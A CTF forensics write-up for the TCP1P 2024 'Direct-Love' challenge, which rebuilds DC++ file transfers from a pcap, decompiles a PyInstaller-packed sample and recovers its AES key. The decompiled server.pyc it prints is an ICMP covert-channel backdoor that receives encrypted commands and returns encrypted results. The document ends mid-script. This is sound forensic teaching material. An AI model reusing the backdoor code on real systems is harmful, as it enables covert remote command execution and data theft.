--- title: '[Forensics] Direct-Love Writeup TCP1P CTF 2024' disqus: hackmd --- [Forensics] Direct-Love Writeup (TCP1P International CTF 2024) === ###### tags: `Network Analysis` `pyc` `powershell` `AES` ## Table of Contents [TOC] ## TL;DR ![image](https://hackmd.io/_uploads/BJZEPxcJJl.png) ## Challenge Description >My fiancée, Mizuhara Chizuru, lent her laptop to one of her friends. Her friend downloaded files using a peer-to-peer protocol on Windows. However, not long after, one of Chizuru's important documents went missing. There's always something with my fiancée :D Attachment : 1 pcap file ## Initial Analysis From the given pcap, we can see that there are 2 interesting traffics, TCP and ICMP, which account for most part of the traffics. ![image](https://hackmd.io/_uploads/ryykKxqkkl.png) We can't do much for the ICMP at the moment, because the payload data (siganture) is not recognizable. On the other hand, Since there's no TLS recorded on the traffic, it's safe to assume that the TCP packets are not encrypted, thus we can perhaps get recognizable data from the TCP streams. There are 4 TCP streams in total, that is Stream 0 - 3. In all of the stream we can see readable data that looks like a bizzare communication protocol is being used. ![image](https://hackmd.io/_uploads/SyGEcxc1Jg.png) > Data from Stream 0 Turns out it is a `Direct Connect` protocol (NMDC). Direct Protocol is a peer-to-peer protocol that's usually used in devices communication, e.g printer, which also uses TCP layer. Moving on to stream 1, we could see a lot more data than before. ![image](https://hackmd.io/_uploads/rkLhog9k1l.png) > stream 1 (truncated) There are some interesting keyword here, namely `$ADCGET` and `$ADCSND`. Referencing to the popular NMDC [docs](https://nmdc.sourceforge.io/Versions/NMDC-1.3.html#_adcget), we could see that this commands are used for file transfer between connected host. ![image](https://hackmd.io/_uploads/HJ6fheq1yl.png) From this we can assume that we have to reconstruct data that's sent using DC protocol in all stream. To check whether our direction is correct, we can try to reconstruct the smaller file first, that is the `files.xml.bz2`. To extract the appropriate data, we can just parse any data after "ZL1|" string in the `$ADCSND` block (refer and understand the documentation) and decompress them with zlib (ZL1 refers to zlib compression mode 1). I wasn't able to extract the complete file from Stream 1, but somehow stream 3 works fine. after decompressing the `files.xml.bz2` , we can see that `files.xml` contains list of file in certain directory ```xml <?xml version="1.0" encoding="utf-8" standalone="yes"?> <FileListing Version="1" CID="RO7APB7TB2HL5UYKMGMTTLHMCAB6R2IXOQJVP4I" Base="/" Generator="DC++ 0.881"> <Directory Name="temp"> <File Name="CDSA-logo.png" Size="136291" TTH="WDLOOWYMZPPUXTPIEEW52DFVD73INPNUO7XFEKQ"/> <File Name="contract.doc.exe" Size="18639229" TTH="Z4PSXU7CJ7YLW2PYTEFRTU4K2KIWUZIPQQNZ73I"/> <File Name="ghidra.txt" Size="0" TTH="LWPNACQDBZRYXW3VHJVCJ64QBZNGHOHHHZWCLNQ"/> <File Name="PowerDecode_report_4BBA5DAA82826FAA411E0B46C932BF057FAEFDF584726415687995B6C811890E.txt" Size="40992" TTH="6KSCXJ5YN2NJMBUI7CNEQVOTRK7P5D7G2HEMYFI"/> <File Name="secret.pdf.wkwk" Size="5839456" TTH="GZ7XSV6QV2OJDKLRKGG3MDQ5BJI7PQ7G6IT3SSA"/> </Directory> </FileListing> ``` There are 2 interesting files above, `contract.doc.exe` and `secret.pdf.wkwk`. At this point, im assuming (again) that this is kind of ransomware scenario. To my surprise, all of the 2 files are refenrenced in our TCP stream, not with their filename, but rather by their corresponding `TTH` in the `files.xml`. We now know, that stream 1 is traffic for `contract.doc.exe` file transfer, where as stream 3 is traffic for `secret.pdf.wkwk` file transer. ## TCP Re-ordering and File Reconstruction (TCP Data) Initially, when i tried to parse and decompress the data in stream 1, i always get zlib error in some part, resulting in corrupted final data. Long story short, i just realized that there are some TCP problems in stream 1 (only in stream 1 though), namely "TCP retransmission" and "TCP out-of-order". ![image](https://hackmd.io/_uploads/B19FZ-q1Jg.png) > TCP retranssmission and out-of-oder That means, we have to re-sort the parsed data based on `tcp.seq` value before decompressing them. below are my scripts for these parts. ### parse.py > Parse all `$ADCND` block and concatenate them to a single file as binary data. ```py= import pyshark def parse_pcap_for_tcp_push(pcap_file, stream_number): display_filter = f"tcp.stream eq {stream_number}" cap = pyshark.FileCapture(pcap_file, display_filter=display_filter) print(f"Parsing TCP stream {stream_number} from {pcap_file}") placeholder = list() for packet in cap: try: if "TCP" in packet: tcp_layer = packet["TCP"] tcp_data = tcp_layer.payload dst_port = int(tcp_layer.dstport) tcp_data = bytes.fromhex(tcp_data.replace(":", "")) if ( tcp_data and len(tcp_data) > 1 and ( (stream_number == 3 and dst_port == 62406) or (stream_number == 1 and dst_port == 49816) or stream_number != 1 or stream_number != 3 ) ): placeholder.append((int(packet.tcp.seq), tcp_data)) except AttributeError as e: print(e) cap.close() return b"".join([y for _, y in sorted(placeholder, key=lambda x: x[0])]) pcap_file = "direct_love.pcapng" for i in range(4): if i != 3: continue with open(f"stream_{i}.bin", "wb") as target: buffer = parse_pcap_for_tcp_push(pcap_file, i) target.write(buffer) ``` ### decompress.py > parse data from each `$ADCSND` block, decompress them, append the bytes, and write them to a file as binary data ```py= import zlib import re def find_all(substring, string): return [match.start() for match in re.finditer(re.escape(substring), string)] file = "stream_1.bin" with open(file, "rb") as src: with open("reconstructed_" + file, "wb") as dst: buff = src.read() reconstructed_buff = b"" adcsnd = find_all(b"$ADCSND", buff) zl1 = find_all(b"ZL1|", buff) print(adcsnd) print(zl1) if "stream_3" in file: adcsnd = adcsnd[3:] zl1 = zl1[2:] else: adcsnd = adcsnd[2:] zl1 = zl1[1:] total_bytes = 0 for i, start in enumerate(zl1): if i < len(zl1) - 1: start = start + 4 end = adcsnd[i] try: data = zlib.decompress(buff[start:end]) reconstructed_buff += data print( f"DONE ", f"BUFF[{start} : {end}] len (compressed) =", len(buff[start:end]), "len (decompressed)", len(data), ) total_bytes += len(data) except zlib.error as e: print(f"[Error index {i}]", e) print("[BUFF] Compressed Data length =", len(buff[start:end])) print("[Start-4 : Start+6]", buff[start - 4 : start + 6]) print("[End : End+6]", buff[end : end + 6]) else: start = zl1[-1] + 4 end = len(buff) - 1 try: data = zlib.decompress(buff[start:]) reconstructed_buff += data print( f"DONE ", f"BUFF[{start} : {end}] len (compressed) =", len(buff[start:end]), "len (decompressed)", len(data), ) total_bytes += len(data) except zlib.error as e: print("[BUFF] Compressed Data length =", len(buff[start:])) print("[ACTUAL BYTES WRITTEN]", dst.write(reconstructed_buff)) ``` Using these scripts we were able to reconstruct the `contract.doc.exe` :::info To check if the reconstructed `contract.doc.exe` is not corrupted, make sure to compare the actual file size with the size inside `files.xml`. they should be the same ::: ## Python Bytecode Analysis ![image](https://hackmd.io/_uploads/H1Rhr-9ykl.png) After getting the `contract.doc.exe`, we can see that it's a `PE32 executable` and after some analysis here and there, we found out that the executable contains many references to python-related lib, dll and files. ![image](https://hackmd.io/_uploads/S1UcIWc1yg.png) > output of strings command We assume that the exectuable is and exe made from python source code using python installer / compiler. to decompile and (perhaps) get the more readable source code, we used [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor). The tools "unpacked" our exe and outputs folder containings python bytecodes, dll, etc. there's 1 file that piqued or interest, that is `server.pyc`, because it's the only pyc file with not default or lib-ish naming lol. using pycdc to "decompile" the `server.pyc` we got the following result ```python= # Source Generated with Decompyle++ # File: server.pyc (Python 3.10) from scapy.all import * import subprocess from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad import base64 import zlib import base64 def zenlesszonezero(input_bytes): return zlib.compress(input_bytes.encode()) def Zenonia(compressed_bytes): return zlib.decompress(compressed_bytes).decode() def gasskann(gg_bang): gacorrrrrrrr = AES.new(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK, AES.MODE_CBC, bjirrrrrrrrrrrrrrrrrrr) wibuuuuuuuuuuuuuu = pad(gg_bang, AES.block_size) anjirrrrrrr = gacorrrrrrrr.encrypt(wibuuuuuuuuuuuuuu) return bjirrrrrrrrrrrrrrrrrrr + anjirrrrrrr def ashiap(bjrit): bjirrrrrrrrrrrrrrrrrrr = bjrit[:16] anjirrrrrrr = bjrit[16:] gacorrrrrrrr = AES.new(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK, AES.MODE_CBC, bjirrrrrrrrrrrrrrrrrrr) wibuuuuuuuuuuuuuu = gacorrrrrrrr.decrypt(anjirrrrrrr) return unpad(wibuuuuuuuuuuuuuu, AES.block_size) def kazuyabjirrrrrrrrrr(ezChangli): Unsupported opcode: JUMP_IF_NOT_EXC_MATCH pass # WARNING: Decompyle incomplete def bengsky(kiaraaa): return len(kiaraaa) < 1024 def yellowww(Maling): if Maling.haslayer(ICMP) or Maling[ICMP].type == 8 or Maling.haslayer(Raw): msfir = Maling[IP].src azuketto = Maling[ICMP].seq kiaraaa = Maling[Raw].load if msfir not in kiaraaa_buffer: kiaraaa_buffer[msfir] = [] kiaraaa_buffer[msfir].append((azuketto, kiaraaa)) print(f'''Received kiaraaa {azuketto} from {msfir}''') if bengsky(kiaraaa): cutelittlebirb = b''.join((lambda .0: [ solderet for _, solderet in .0 ])(sorted(kiaraaa_buffer[msfir]))) ezChangli = Zenonia(ashiap(cutelittlebirb)) LKazuya = kazuyabjirrrrrrrrrr(ezChangli) if len(LKazuya) == 0: LKazuya = 'success' hoaaaaaahm = gasskann(zenlesszonezero(LKazuya)) del kiaraaa_buffer[msfir] yoasobi(hoaaaaaahm, msfir, Maling[ICMP].id) return None return None return None return None def yoasobi(gataubjrit, Mau_kemana_kita, booyah): MAX_kiaraaa_SIZE = 1024 kiaraaas = (lambda .0 = None: [ gataubjrit[i:i + MAX_kiaraaa_SIZE] for i in .0 ])(range(0, len(gataubjrit), MAX_kiaraaa_SIZE)) for kiara123, kiaraaa in enumerate(kiaraaas): reply = IP(Mau_kemana_kita, MizuharaChizuru, **('dst', 'src')) / ICMP(0, kiara123, booyah, **('type', 'seq', 'id')) / kiaraaa send(reply) print(f'''Sent kiaraaa {kiara123 + 1}/{len(kiaraaas)} of gataubjrit''') def gabutt(MizuharaChizuruPretty): if MizuharaChizuruPretty.haslayer(ICMP) or MizuharaChizuruPretty[ICMP].type == 8: ezChangli = ashiap(Zenonia(MizuharaChizuruPretty[Raw].load)) print(f'''{ezChangli}''') LKazuya = kazuyabjirrrrrrrrrr(ezChangli) if len(LKazuya) == 0: LKazuya = 'success' hoaaaaaahm = IP(MizuharaChizuruPretty[IP].src, MizuharaChizuru, **('dst', 'src')) / ICMP(0, **('type',)) / zenlesszonezero(gasskann(LKazuya)) send(hoaaaaaahm) return None return None def kawokaowkoawkowkoakowkokokwokoawkokokaowkoawkoakowkawooawkoaowkoawoakwoawokaoawk(awokawokawokawokawokawokawokawokawokawokawokawok): if len(awokawokawokawokawokawokawokawokawokawokawokawok) != 32: return False if None(awokawokawokawokawokawokawokawokawokawokawokawok[0]) ^ 0x1C59434157D3CC5C0CBC8D6DC02829495C788A9DBBFF2DE1E78648DC30BF0DC2BL ^ 0x17F72BEAECB88ADF2DB3938AAAAB9CF6EDC0783FC48DC33EF14B8E7FBF4030B17L == 0xBAE68ABBB6B4683210F1EE76A83B5BFB1B8F2A27F72EEDF16CDC6A38FFF3D75AL and ord(awokawokawokawokawokawokawokawokawokawokawokawok[1]) * 0x16740854518DF2EA1657D27CE6B01C05086BBBF1CB2802F04C6C54E69897AAFB1L % 0x1AF3F684363BC2A1C0DB2F3D6812A60EC5D77BF04C711F81E78529D7C736066D3L == 0x1A9701AB0782E53FCF134510662DF4B1705F5BBA7244C0440F068B5D43351470BL and ord(awokawokawokawokawokawokawokawokawokawokawokawok[2]) * 0x14E61508FE9FA732B9710920C44347E1DABD7C0BE88BE684F1769BDF57A0DB346L % 0x113F1B22D1B3C1884382491E066CCD1CA5C9BE6A8E86689DC4A586E206BE55B43L == 0x2D7CBCC3B3580A379AD255757F701DB73D21E174FC7852EB8BCAAAAE709AEFF2L and int(format(ord(awokawokawokawokawokawokawokawokawokawokawokawok[3]), 'o')) ^ 0x1F7BB0571AD58CA0A5A58004A08EC1F1BB1EC32AE1D76661EDBE21AEB2A341B14L == 0x1F7BB0571AD58CA0A5A58004A08EC1F1BB1EC32AE1D76661EDBE21AEB2A341B29L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[4]) + 0x17A16D26F9760AA550B5F840E3EE93ABC33D2F04349CDC4E30377DC04659BF508L) % 256 == 110 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[5]) * 0x179C53E1010297ED481DF9E8AB4B6FF6DB4261D9A8091863F50975276AE3A6014L % 0x1A6F53F5AAF1C46EB1710B54AA6AE95B69CAC65E67DF15991267A60A3AFB6EEAAL == 0x10D593B9F4C393B8B761E2B7A7AB07D38A086FC1C680FC73A9C39C7FAFCAA3A78L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[6]) + 0x1EE7355295E254A569DDA5FFCF6F76564A1FEEF89CE139C965684168A5BF6E837L) % 256 == 111 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[7]) ^ 0x1B1FE62CCD12D4121DFC48286E16D21CA772521811D09AB587B5630A7DC81862EL >> 0xA775C05707307D708AA70410BF0A65B1C249287FC53CC769028A01B602BE3924L * ord(awokawokawokawokawokawokawokawokawokawokawokawok[8]) ^ ord(awokawokawokawokawokawokawokawokawokawokawokawok[9]) % ord(awokawokawokawokawokawokawokawokawokawokawokawok[10]) << ord(awokawokawokawokawokawokawokawokawokawokawokawok[11]) + ord(awokawokawokawokawokawokawokawokawokawokawokawok[12]) == 0x620000000000000000000000000000000000064L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[8]) + 0x189461B7D908379B8AB0EB80DF5F1962FF90AD201A3BE370B00E0911243F522BFL) % 256 == 34 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[9]) + 0x1EDF43BF6921FBC6B43B794653E72057D3C6C4410F34E1A0A4AF174DBFDE5F1A4L) % 256 == 213 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[10]) + 0x1CEB272861475D38612F33A177FDCA9C6250DCE2D619E718DCA06F83DBC4043E1L) % 256 == 68 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[11]) + 0x111A4DDF5A00B9373C7E8695BB23DAF8062C478A57DC0AA579EE69417E017A728L) % 256 == 140 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[12]) + 0x1C738C510B7C2E2562935301E1D01BD3E526BF2B6D9FBED520280020C3D11D37BL) % 256 == 172 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[13]) ^ 0x1A684FDBA4E1C5AC7773537CFB678FBB54CB24DE6BFAC6F1807612A5A21E829AEL ^ 0x1C1EA1742BFFCD3267BA6B8ED813D3E164E4069001907FCD42230E2E0E1DCA790L == 0x676EEAF8F1E089E10C938F223745C5A302F224E6A6AB93CC2551C8BAC0348E0FL and ord(awokawokawokawokawokawokawokawokawokawokawokawok[14]) ^ 0x1B20077638558416EB947F1F246000FD3FC2168F54D62084AF8811154599E9E9FL ^ 0x1F87DE7F96C8AB4A92888E158C8195AC1E9C46AF24DCB134210F0164E3F287FFCL == 0x4A7D909AE9D2F5C791CF10AA8E19551215E5020700A91B08E871071A66B6E15AL and ord(awokawokawokawokawokawokawokawokawokawokawokawok[15]) * 0x1633A388A11C683B5ABF8E6BABB8D4B6D3B41C912ADA609409CAAF4E70D4FEB0BL % 0x1D4588A7995E8722D0E1F46C973ECCAC1158D9F0CDC7B99B4DCAC29E458064814L == 0xBE7720CA4088A3BA42454EAEDD31A154146B55B18DC01EAE57D807361E19EF40L and ord(awokawokawokawokawokawokawokawokawokawokawokawok[16]) ^ 0x11F438191D6F5840FAE20242D792FAAEA4C466801CC307E4C3A7DDC69EEB34291L >> 0x4C9A14151D062384AF3E08791BC4782BB5F541AB6337FA5B2BA69ECB89B5524CL * ord(awokawokawokawokawokawokawokawokawokawokawokawok[17]) ^ ord(awokawokawokawokawokawokawokawokawokawokawokawok[18]) % ord(awokawokawokawokawokawokawokawokawokawokawokawok[19]) << ord(awokawokawokawokawokawokawokawokawokawokawokawok[20]) + ord(awokawokawokawokawokawokawokawokawokawokawokawok[21]) == 0x1C8000000000000000000000000035L and ord(awokawokawokawokawokawokawokawokawokawokawokawok[17]) * 0x12088CD4A74ADF9C9106019F227B5D6799FDB90AE5189615B3418FED04F6CCC8BL % 0x13E1969C6CE32AE7BC0BA2FA42E521A71081848E9522584C8727F6CB20AF67DA3L == 0xFCF63F7540288FCFF0A85EE7A3BDC0876349688FCAB95CCD089482CB3BA83492L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[18]) + 0x192B498C56D10044247AD142429A059F769407838C08CC74721FBB9915EA2EE7BL) % 256 == 180 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[19]) + 0x1E6CA62A1BBE1572E5092A153D8CBCAC1B5A0DB31542E5EBCD6B5313225B95D27L) % 256 == 136 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[20]) ^ 0x1259F222BE4B210D359B761FA4309295E8A928C5829CA2BF876C018407AB19BE0L ^ 0x1331876F91705B77820E694D7C62976AC6B2AC7E25AF0ECED8C194B8B98F25BA8L == 0x168754D2F3B7A7AB7951F52D85205FF2E1B84BBA733AC715FAD953CBE243C071L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[21]) + 0x1BD52E3F20A69859770745A6EEC6D3810FFD6773ED3E2A10200D93C0DB37F0EC4L) % 256 == 250 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[22]) + 0x145831CC88E273608B9F2205BAC8C2E3CAE65F574829E442114F8C2207EE32B6CL) % 256 == 157 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[23]) + 0x198E4DABDEE1179F7D4092D5E2208110E518CB31708F9C6336DC666EDFC8484AAL) % 256 == 223 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[24]) ^ 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC677L == 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC612L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[25]) + 0x1007D88C5C57065A9DD3AE28DACE58214AB85927D8F03C207A923CBDD875874B8L) % 256 == 236 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[26]) + 0x1690B92CCC40F3439EB8A682B751B0C7AA23669E19166E52D9B7058C254BC1D57L) % 256 == 138 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[27]) ^ 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08113L == 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08171L and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[28]) + 0x1807BD7F90F445C98B17365BA6611E5D694FF44072DBE8AED45EC9F5957878254L) % 256 == 184 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[29]) * 0x149331111B35BF53655E0BF224A63D19A4B38A5665E6B7A06FB099DBACE9481AEL % 0x102A14368B493161415CEC124D876391470A07A1392D42502B5450744DDB2081CL == 0x1E03C2C2889A52E7CC0404ACB1E6C8F5D4A27A4231518C25E30E64DC339A4BAL and ord(awokawokawokawokawokawokawokawokawokawokawokawok[30]) * 0x1041D420E124872008EFFCFC6010E5B6D0F0301EA10C3DD80DAA776F8B3E947B6L % 0x168EF3A2189D80198564293C6B9C739560E68D6038CC571FC460206DC4BB0AC6EL == 0xB770BE0AFA44F7C860F0A53971E913E9DF4DBC3F89BCC0672825724619916726L and ord(awokawokawokawokawokawokawokawokawokawokawokawok[31]) ^ 0x17777376A529C6674F02B3DC88649F1514EB6631D53167714CB5ECA2B43B9A4E0L ^ 0x1CBA893260FEF9E39ED652E048DACA599F28D098FF6EA1331449172D0F1A225E0L == 0xBCDFA44C5D73F84D1D4E13CC0BE554C8BC3B6A92A5FC64258FCFB8FBB21B8139L: return True bjirrrrrrrrrrrrrrrrrrr = get_random_bytes(16) MizuharaChizuru = '192.168.56.101' ChizuruMizuhara = '\\Device\\NPF_{F64BB047-095A-46A3-8E8F-C5D24BEE0ED2}' WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK = str(input()) if not kawokaowkoawkowkoakowkokokwokoawkokokaowkoawkoakowkawooawkoaowkoawoakwoawokaoawk(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK): raise '?' kiaraaa_buffer = None WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK = bytes.fromhex(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK) RET2LIBC = 0 print('...') sniff(ChizuruMizuhara, 'icmp', yellowww, **('iface', 'filter', 'prn')) ``` This is confusing, i know, especially with variable naming. But let's focus on the last parts first. The line `sniff(ChizuruMizuhara, 'icmp', yellowww, **('iface', 'filter', 'prn'))` is to sniff (listen) incoming icmp packet from `ChizuruMizuhara` device interface, and pass the sniffed packet to `yellow` function. ok, then what does the `yellow` function do? before diving deeper into `yellow` function, let's rename/remap some function first. - zenlesszonezero -> compress - Zenonia -> decompress - gasskann -> encrypt - ashiap -> decrypt now we can get a better picture of what `yellow` function does. For every ICMP request received and only process if ICMP.raw data length < 1024. It then decrypt, and decompress the data and pass it as the `kazuyabjirrrrrrrrrr` arguments. Unfortunately, we don't know the detail of `kazuyabjirrrrrrrrrr` since the OP_CODE of python used is not supported by `pycdc`, let's skip it for now. the return of `kazuyabjirrrrrrrrrr` then will be compressed and encrypted before sent as ICMP reply (via `yoasobi` function). The `gabut` function is actually similar to `yellow` and `yoasobi` combined, but with the reversed order of compression-encryption and decompression-decryption operations. To be honest, I don't know when it is used, so let's just leave it for now. ## File Reconstruction (ICMP) Using our knowledge so far, we can then try to parse data from ICMP and decrypt-decompress them. To check if our step is correct, we can see that in all corressponding ICMP request-reply packet, the ICMP data begins with the same bytes. ![image](https://hackmd.io/_uploads/ByQNA-cy1e.png) > ICMP request ![image](https://hackmd.io/_uploads/HJvDCb5kkl.png) >ICMP reply This 16 bytes in the beginning is the IV used in the AES encryption (refer back to the decompiled pyc, that IV is prepended to the encryption result). So we got the cipher suite, IV, but now what about the key? Again, refer back to the decompiled `server.pyc` , we can see that the key used is the `WKWKWKWKKW...` variable. then we only need to reverse engineer the `kawokaowkaowk....` function as it used as the `WKWKWKWK..` validator. here's our script to do so. ```py= key = ['?'] * 32 key[0] = chr(0x1C59434157D3CC5C0CBC8D6DC02829495C788A9DBBFF2DE1E78648DC30BF0DC2B ^ 0x17F72BEAECB88ADF2DB3938AAAAB9CF6EDC0783FC48DC33EF14B8E7FBF4030B17 ^ 0xBAE68ABBB6B4683210F1EE76A83B5BFB1B8F2A27F72EEDF16CDC6A38FFF3D75A) for i in range(257) : if (i * 0x16740854518DF2EA1657D27CE6B01C05086BBBF1CB2802F04C6C54E69897AAFB1 % 0x1AF3F684363BC2A1C0DB2F3D6812A60EC5D77BF04C711F81E78529D7C736066D3 == 0x1A9701AB0782E53FCF134510662DF4B1705F5BBA7244C0440F068B5D43351470B) : print(i) key[1] = chr(i) for i in range(257) : if (i * 0x14E61508FE9FA732B9710920C44347E1DABD7C0BE88BE684F1769BDF57A0DB346 % 0x113F1B22D1B3C1884382491E066CCD1CA5C9BE6A8E86689DC4A586E206BE55B43 == 0x2D7CBCC3B3580A379AD255757F701DB73D21E174FC7852EB8BCAAAAE709AEFF2) : print(i) key[2] = chr(i) key[3] = chr(49) key[4] = chr(110 - 0x17A16D26F9760AA550B5F840E3EE93ABC33D2F04349CDC4E30377DC04659BF508 % 256) for i in range(257) : if (i * 0x179C53E1010297ED481DF9E8AB4B6FF6DB4261D9A8091863F50975276AE3A6014 % 0x1A6F53F5AAF1C46EB1710B54AA6AE95B69CAC65E67DF15991267A60A3AFB6EEAA == 0x10D593B9F4C393B8B761E2B7A7AB07D38A086FC1C680FC73A9C39C7FAFCAA3A78) : key[5] = chr(i) key[6] = chr(111 - 0x1EE7355295E254A569DDA5FFCF6F76564A1FEEF89CE139C965684168A5BF6E837 % 256) key[8] = chr((34 - (0x189461B7D908379B8AB0EB80DF5F1962FF90AD201A3BE370B00E0911243F522BF % 256)) + 256) key[9] = chr(213 - 0x1EDF43BF6921FBC6B43B794653E72057D3C6C4410F34E1A0A4AF174DBFDE5F1A4 % 256) key[10] = chr((68 - 0x1CEB272861475D38612F33A177FDCA9C6250DCE2D619E718DCA06F83DBC4043E1 % 256) + 256) key[11] = chr(140 - 0x111A4DDF5A00B9373C7E8695BB23DAF8062C478A57DC0AA579EE69417E017A728 % 256) key[12] = chr(172 - 0x1C738C510B7C2E2562935301E1D01BD3E526BF2B6D9FBED520280020C3D11D37B % 256) key[13] = chr(0x1A684FDBA4E1C5AC7773537CFB678FBB54CB24DE6BFAC6F1807612A5A21E829AE ^ 0x1C1EA1742BFFCD3267BA6B8ED813D3E164E4069001907FCD42230E2E0E1DCA790 ^ 0x676EEAF8F1E089E10C938F223745C5A302F224E6A6AB93CC2551C8BAC0348E0F) key[14] = chr(0x1B20077638558416EB947F1F246000FD3FC2168F54D62084AF8811154599E9E9F ^ 0x1F87DE7F96C8AB4A92888E158C8195AC1E9C46AF24DCB134210F0164E3F287FFC ^ 0x4A7D909AE9D2F5C791CF10AA8E19551215E5020700A91B08E871071A66B6E15A) for i in range(257) : if (i * 0x1633A388A11C683B5ABF8E6BABB8D4B6D3B41C912ADA609409CAAF4E70D4FEB0B % 0x1D4588A7995E8722D0E1F46C973ECCAC1158D9F0CDC7B99B4DCAC29E458064814 == 0xBE7720CA4088A3BA42454EAEDD31A154146B55B18DC01EAE57D807361E19EF40) : key[15] = chr(i) for i in range(257) : if (i * 0x12088CD4A74ADF9C9106019F227B5D6799FDB90AE5189615B3418FED04F6CCC8B % 0x13E1969C6CE32AE7BC0BA2FA42E521A71081848E9522584C8727F6CB20AF67DA3 == 0xFCF63F7540288FCFF0A85EE7A3BDC0876349688FCAB95CCD089482CB3BA83492) : key[17] = chr(i) key[18] = chr(180 - 0x192B498C56D10044247AD142429A059F769407838C08CC74721FBB9915EA2EE7B % 256) key[19] = chr(136 - 0x1E6CA62A1BBE1572E5092A153D8CBCAC1B5A0DB31542E5EBCD6B5313225B95D27 % 256) key[20] = chr(0x1259F222BE4B210D359B761FA4309295E8A928C5829CA2BF876C018407AB19BE0 ^ 0x1331876F91705B77820E694D7C62976AC6B2AC7E25AF0ECED8C194B8B98F25BA8 ^ 0x168754D2F3B7A7AB7951F52D85205FF2E1B84BBA733AC715FAD953CBE243C071) key[21] = chr(250 - 0x1BD52E3F20A69859770745A6EEC6D3810FFD6773ED3E2A10200D93C0DB37F0EC4 % 256) key[22] = chr(157 - 0x145831CC88E273608B9F2205BAC8C2E3CAE65F574829E442114F8C2207EE32B6C % 256) key[23] = chr(223 - 0x198E4DABDEE1179F7D4092D5E2208110E518CB31708F9C6336DC666EDFC8484AA % 256) key[24] = chr(0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC677 ^ 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC612) key[25] = chr(236 - 0x1007D88C5C57065A9DD3AE28DACE58214AB85927D8F03C207A923CBDD875874B8 % 256) key[26] = chr(138 - 0x1690B92CCC40F3439EB8A682B751B0C7AA23669E19166E52D9B7058C254BC1D57 % 256) key[27] = chr(0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08113 ^ 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08171) key[28] = chr(184 - 0x1807BD7F90F445C98B17365BA6611E5D694FF44072DBE8AED45EC9F5957878254% 256) for i in range(257) : if (i * 0x149331111B35BF53655E0BF224A63D19A4B38A5665E6B7A06FB099DBACE9481AE % 0x102A14368B493161415CEC124D876391470A07A1392D42502B5450744DDB2081C == 0x1E03C2C2889A52E7CC0404ACB1E6C8F5D4A27A4231518C25E30E64DC339A4BA) : key[29] = chr(i) for i in range(257) : if (i * 0x1041D420E124872008EFFCFC6010E5B6D0F0301EA10C3DD80DAA776F8B3E947B6 % 0x168EF3A2189D80198564293C6B9C739560E68D6038CC571FC460206DC4BB0AC6E == 0xB770BE0AFA44F7C860F0A53971E913E9DF4DBC3F89BCC0672825724619916726) : key[30] = chr(i) key[31] = chr(0x17777376A529C6674F02B3DC88649F1514EB6631D53167714CB5ECA2B43B9A4E0 ^ 0x1CBA893260FEF9E39ED652E048DACA599F28D098FF6EA1331449172D0F1A225E0 ^ 0xBCDFA44C5D73F84D1D4E13CC0BE554C8BC3B6A92A5FC64258FCFB8FBB21B8139) for i in range(257) : if (i ^ 0x1B1FE62CCD12D4121DFC48286E16D21CA772521811D09AB587B5630A7DC81862E >> 0xA775C05707307D708AA70410BF0A65B1C249287FC53CC769028A01B602BE3924 * ord(key[8]) ^ ord(key[9]) % ord(key[10]) << ord(key[11]) + ord(key[12]) == 0x620000000000000000000000000000000000064) : key[7] = chr(i) for i in range(257) : if (i ^ 0x11F438191D6F5840FAE20242D792FAAEA4C466801CC307E4C3A7DDC69EEB34291 >> 0x4C9A14151D062384AF3E08791BC4782BB5F541AB6337FA5B2BA69ECB89B5524C * ord(key[17]) ^ ord(key[18]) % ord(key[19]) << ord(key[20]) + ord(key[21]) == 0x1C8000000000000000000000000035) : key[16] = chr(i) print(key) key = ''.join(key) print(key) ``` Using the information we gathered so far, we can then extract all data from ICMP packet. ### parse_icmp.py ```pyhon= from scapy.all import rdpcap, ICMP, Raw from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import zlib import zlib def decrypt(enc): iv = enc[:16] enc = enc[16:] key = bytes.fromhex("f001fa8dc1cd1190589a9615e43bd7f9") aes = AES.new(key=key, 